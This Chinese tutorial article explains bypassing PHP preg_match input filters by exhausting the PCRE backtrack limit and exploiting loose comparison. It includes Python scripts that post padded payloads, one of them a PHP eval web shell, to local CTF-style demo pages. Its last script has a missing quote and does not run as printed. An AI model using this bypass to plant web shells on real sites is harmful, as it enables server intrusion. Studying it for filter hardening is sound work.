php正则回溯绕过最大次数上限案例详解

 更新时间:2022年07月25日 14:28:54   作者:共黄昏  
这篇文章主要介绍了php利用正则回溯进行绕过最大次数上限的案例方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

什么是正则回溯

从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。

非贪婪模式回溯过程:

text = "abc"
regex = "ab{1,3}c"

为什么可以利用正则回溯进行绕过

大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。

在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:

  • 使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较

"0" == false: bool(true)
"0" === false: bool(false)

php正则回溯绕过案例一

PHP源码:

<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
    echo "flag{raoguo-cenggong}";
}else{
    echo "bad requests";
}
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

python绕过源码:

import requests
datas = {
    'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)

当回溯次数为999990次时的运行结果:

当回溯次数为1000000次时的运行结果:

php正则回溯绕过案例二

php源码:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'flag{cheng-gong}';
        }else{
            echo 'no have Merry Christmas';
        }
    }else{
        echo 'Bypass the failure';
    }
}
?>

python源码:

import requests
datas = {
    'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

python测试:

没有 ‘Merry Christmas’ 前缀的运行结果

import requests
datas = {
    'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)

运行结果:

到此这篇关于php正则回溯绕过最大次数上限案例详解的文章就介绍到这了,更多相关php正则回溯内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • PHP排序算法类实例

    PHP排序算法类实例

    这篇文章主要介绍了PHP排序算法类,实例分析了插入排序、选择排序、冒泡排序、快速排序等排序算法的原理与实现技巧,需要的朋友可以参考下
    2015-06-06
  • 解析百度搜索结果link?url=参数分析 (全)

    解析百度搜索结果link?url=参数分析 (全)

    自从9月后百度和360开战的结果就是 百度搜索结果的网址改变了,变成link?url=………这样的重定向格式了。看到这样的不友好的URL真有破解的冲动。于是今天开始试试破解它
    2012-10-10
  • php类中private属性继承问题分析

    php类中private属性继承问题分析

    首先 这个题目就有点问题 因为private属性是不能被继承的
    2012-11-11
  • PHP函数strip_tags的一个bug浅析

    PHP函数strip_tags的一个bug浅析

    PHP 函数 strip_tags 提供了从字符串中去除 HTML 和 PHP 标记的功能,该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
    2014-05-05
  • PHP实现递归无限级分类

    PHP实现递归无限级分类

    这篇文章主要介绍了PHP实现递归无限级分类的方法,具有一定的参考价值,需要的朋友可以参考下
    2015-10-10
  • PHP封装的微信公众平台接口开发操作类完整示例

    PHP封装的微信公众平台接口开发操作类完整示例

    这篇文章主要介绍了PHP封装的微信公众平台接口开发操作类,结合完整实例形式分析了php微信开发所涉及的配置、验证、接收、响应、文本、语音、图片等相关操作技巧,需要的朋友可以参考下
    2018-06-06
  • PHP生成和获取XML格式数据的方法

    PHP生成和获取XML格式数据的方法

    这篇文章主要介绍了PHP生成和获取XML格式数据的方法,结合实例形式较为详细的分析了PHP操作数据库生成XML及获取XML格式数据的相关技巧,需要的朋友可以参考下
    2016-03-03
  • 解析php做推送服务端实现ios消息推送

    解析php做推送服务端实现ios消息推送

    本篇文章是对php做推送服务端实现ios消息推送的方法进行了详细的分析介绍,需要的朋友参考下
    2013-07-07
  • 解析PHP实现下载文件的两种方法

    解析PHP实现下载文件的两种方法

    本篇文章是对使用PHP实现下载文件的两种方法进行了详细的分析介绍,需要的朋友参考下
    2013-07-07
  • PHP使用Redis替代文件存储Session的方法

    PHP使用Redis替代文件存储Session的方法

    这篇文章主要介绍了PHP使用Redis替代文件存储Session的方法,结合实例形式较为详细的分析了Session的基本操作方法及使用Redis存储session的相关技巧,需要的朋友可以参考下
    2017-02-02

最新评论